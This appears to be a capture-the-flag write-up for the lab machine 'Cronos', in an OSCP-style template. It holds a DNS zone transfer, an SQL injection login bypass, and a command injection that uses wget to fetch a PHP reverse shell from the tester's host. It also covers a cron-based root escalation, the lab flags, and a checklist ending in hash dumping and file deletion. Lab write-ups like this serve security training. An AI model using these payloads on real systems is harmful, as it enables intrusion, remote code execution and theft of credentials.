10.10.10.13

Enumeration

```
autorecon 10.10.10.13
```

```
[*] [10.10.10.13/all-tcp-ports] Discovered open port tcp/53 on 10.10.10.13
[*] [10.10.10.13/all-tcp-ports] Discovered open port tcp/22 on 10.10.10.13
[*] [10.10.10.13/all-tcp-ports] Discovered open port tcp/80 on 10.10.10.13
[*] [10.10.10.13/top-100-udp-ports] Discovered open port udp/53 on 10.10.10.13
```

TCP

TCP 53 DNS

ISC BIND 9.10.3-P4 which is vulnerable to multiple DOS attacks

Dig results:

```
; <<>> DiG 9.17.21-1-Debian <<>> -p 53 -x 10.10.10.13 @10.10.10.13
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5561
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;13.10.10.10.in-addr.arpa.      IN      PTR

;; ANSWER SECTION:
13.10.10.10.in-addr.arpa. 604800 IN     PTR     ns1.cronos.htb.

;; AUTHORITY SECTION:
10.10.10.in-addr.arpa.  604800  IN      NS      ns1.cronos.htb.

;; ADDITIONAL SECTION:
ns1.cronos.htb.         604800  IN      A       10.10.10.13

;; Query time: 72 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (UDP)
;; WHEN: Tue Jan 18 17:43:12 EST 2022
;; MSG SIZE  rcvd: 111
```

Notice cronos.htb. We can enumerate further by doing dig on dns zonetransfer:

```
dig axfr 10.10.10.13 @cronos.htb

; <<>> DiG 9.17.21-1-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 80 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue Jan 18 18:15:12 EST 2022
;; XFR size: 7 records (messages 1, bytes 203)
```

Add the following entries in /etc/hosts:

```
10.10.10.13 www.cronos.htb
10.10.10.13 admin.cronos.htb
10.10.10.13 cronos.htb
```

www.cronos.htb dirsearch doesn't return anything interesting
admin.cronos.htb dirsearch doesn't reutrn anything as well.

Trying to SQLi the entries (base on the room's tag :D) Go to Exploit for more details.

UDP

Web Services

Nikto

Dirb|DirBuster

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited: Login Form + net tool
Vulnerability Type: SQLi + RCE
Exploit POC:
Description:

Discovery of Vulnerability

dig axfr 10.10.10.13 @cronos.htb

The login form on admin.cronos.htb is vulnerable to SQLi:

' or 1=1 limit 1 -- -+ (Source: PayLoadsAllTheThings)

The vulnerable reverse shell upload command, set the command to `ping`:

10.10.14.37; wget http://10.10.14.37:8000/php-reverse-shell.php

Visit http://admin.cronos.htb/php-reverse-shell.php to gain RCE

Exploit Code Used

pentestmonkey's reverse shell php file.

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Post Exploitation

If you poke around there is a mysql database running.

cat /var/www/admin/config.php will reveal the admin credentials of the database.

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited: cron
Vulnerability Type: PrivEsc
Exploit POC:
Description:

Discovery of Vulnerability

cat /etc/crontab

Root execute /var/www/laravel/artisan every minute.

www-data own the artisan file.

We upload a reverse php shell called artisan

Exploit Code Used

pentestmonkey's php reverse shell

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

root.txt: 1703b8a3c9a8dde879942c79d02fd3a0
user.txt: 51d236438b333970dbba7dc3089be33b

Proof|Flags|Other

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24

- □ smbtree

Individual Host Scanning

- □ nmap --top-ports 20 --open -iL iplist.txt
- □ nmap -sS -A -sV -O -p- ipaddress
- □ nmap -sU ipaddress

Service Scanning

WebApp

- □ Nikto
- □ dirb
- □ dirbuster
- □ wpscan
- □ dotdotpwn
- □ view source
- □ davtest\cadevar
- □ droopscan
- □ joomscan
- □ LFI\RFI Test

Linux\Windows

- □ snmpwalk -c public -v1 *ipaddress* 1
- □ smbclient -L //ipaddress
- □ showmount -e ipaddress port
- □ rpcinfo
- □ Enum4Linux

Anything Else

- □ nmap scripts (locate *nse* | grep servicename)
- □ hydra
- □ MSF Aux Modules
- □ Download the softward

Exploitation

- □ Gather Version Numbes
- □ Searchsploit
- □ Default Creds
- □ Creds Previously Gathered
- □ Download the software

Post Exploitation

Linux

- □ linux-local-enum.sh
- □ linuxprivchecker.py
- □ linux-exploit-suggestor.sh
- □ unix-privesc-check.py

Windows

- □ wpc.exe
- □ windows-exploit-suggestor.py

    - □ windows_privesc_check.py
    - □ windows-privesc-check2.exe

Priv Escalation

- □ acesss internal services (portfwd)
- □ add account

Windows

- □ List of exploits

Linux

- □ sudo su
- □ KernelDB
- □ Searchsploit

Final

- □ Screenshot of IPConfig\WhoamI
- □ Copy proof.txt
- □ Dump hashes
- □ Dump SSH Keys
- □ Delete files

Log Book